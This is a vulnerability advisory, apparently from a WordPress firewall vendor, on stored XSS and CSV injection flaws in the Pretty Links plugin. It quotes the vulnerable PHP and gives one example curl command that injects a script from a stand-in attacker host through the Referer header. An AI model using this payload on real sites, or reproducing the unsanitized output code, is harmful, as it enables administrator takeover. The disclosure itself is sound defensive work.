Stored XSS and CSV injection vulnerabilities in WordPress Shortlinks by Pretty Links plugin.

The WordPress Shortlinks by Pretty Links plugin, which has 200,000+ active installations, was prone to stored XSS and CSV injection vulnerabilities that allowed an unauthenticated attacker to target the administrator of the CMS, both online and offline.

Stored XSS

In the “app/models/PrliUtils.php” script, the track_link() function retrieves some user input for statistical purposes: HTTP_REFERER, REQUEST_URI, HTTP_USER_AGENT and the user IP.

if(isset($track_me) and !empty($track_me) and $track_me) {
   $first_click = 0;
   $click_ip =         $this->get_current_client_ip();
   $click_referer =    isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
   $click_uri =        isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'';
   $click_user_agent = isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';

But this data is neither validated nor sanitized.
The get_current_client_ip() function retrieves the IP address from untrusted source as well, still without proper validation (only REMOTE_ADDR can be considered as safe):

public function get_current_client_ip() {
   $ipaddress = (isset($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:'';

   if(isset($_SERVER['HTTP_CLIENT_IP']) && $_SERVER['HTTP_CLIENT_IP'] != '127.0.0.1') {
     $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
   }
   elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') {
     $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
   }
   elseif(isset($_SERVER['HTTP_X_FORWARDED']) && $_SERVER['HTTP_X_FORWARDED'] != '127.0.0.1') {
     $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
   }
   elseif(isset($_SERVER['HTTP_FORWARDED_FOR']) && $_SERVER['HTTP_FORWARDED_FOR'] != '127.0.0.1') {
     $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
   }
   elseif(isset($_SERVER['HTTP_FORWARDED']) && $_SERVER['HTTP_FORWARDED'] != '127.0.0.1') {
     $ipaddress = $_SERVER['HTTP_FORWARDED'];
   }

   $ips = explode(',', $ipaddress);
   if(isset($ips[1])) {
     $ipaddress = $ips[0]; //Fix for flywheel
   }

   return $ipaddress;
}

When the admin accesses the “Pretty Links > Clicks” page to view the stats, the users IP and the HTTP_REFERER are echoed without being sanitized too:

<td><a href="<?php echo admin_url("admin.php?page=pretty-link-clicks&ip={$click->ip}"); ?>" title="<?php printf(__('View All Activity for IP Address: %s', 'pretty-link'), $click->ip); ?>"><?php echo $click->ip; ?> (<?php echo $click->ip_count; ?>)</a></td>
...
...
<td><a href="<?php echo $click->referer; ?>"><?php echo $click->referer; ?></a></td>

An attacker could inject some malicious JavaScript code to target the logged in administrator either in the IP field (Client-IP, X-Forwarded-For etc) or the HTTP referrer, for instance:

$ curl http://example.com/[prettylink] --referer "<script src='http://evil.com/malicious.js'></script>"

JavaScript code injection in the admin dashboard can lead to some very serious issues, including remote code execution. For that reason, I always recommend that users of NinjaFirewall, our web application firewall for WordPress, enable its Content-Security-Policy (CSP) directive, at least in the back-end. Here’s what happens if an attacker sends the above command to a website when CSP protection is implemented:

The browser refuses to load it.
Although a WAF like NinjaFirewall will, depending on the payload, either block or sanitize the XSS attempt anyway, implementing Content-Security-Policy adds a very good layer of security to WordPress mostly because it relies on a whitelist approach, i.e., it rejects any attempt to load remote content from untrusted sources: scripts, style sheets, images or media files etc. And unlike the old X-XSS-Protection header, it is highly configurable and offers a much better protection; you won’t need X-XSS-Protection anymore if you use CSP. Implementing it on the blog front-end too would also prevent most stored XSS attacks that we have seen in WordPress plugins lately.

CSV injection (aka Formula injection)

If the previous vulnerability can be used to target the admin online, the next one can be used in an offline attack known as CSV or Formula injection, because the plugin allows the same data to be exported from the “Pretty Links > Clicks” page to a CSV file:

$filename = date("ymdHis",time()) . '_' . $link_name . '_pretty_link_clicks_' . $hmin . '-' . $hmax . '.csv';
header("Content-Type: text/x-csv");
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");

echo '"Browser","Browser Version","Platform","IP","Visitor ID","Timestamp","Host","URI","Referrer","Link"' . "\n";
foreach($clicks as $click)
{
  $link = $prli_link->getOne($click->link_id);

  echo "\"$click->btype\",\"$click->bversion\",\"$click->os\",\"$click->ip\",\"$click->vuid\",\"$click->created_at\",\"$click->host\",\"$click->uri\",\"$click->referer\",\"" . ((empty($link->name))?$link->slug:$link->name) . "\"\n";
}

Here too, the data is not sanitized and an attacker could inject a malicious payload or formula into one of the fields that will be executed when loading the CSV file into a spreadsheet application such as Microsoft Excel.

Timeline

The vulnerabilities were discovered and reported to the wordpress.org team on June 12, 2019.

Recommendations

Update as soon as possible if you have version 2.1.9 or below installed.
If you are using our web application firewall for WordPress, NinjaFirewall WP Edition (free) and NinjaFirewall WP+ Edition (premium), you are protected. NinjaFirewall protects proactively against this type of vulnerability.

Stay informed about the latest vulnerabilities in WordPress plugins and themes: @nintechnet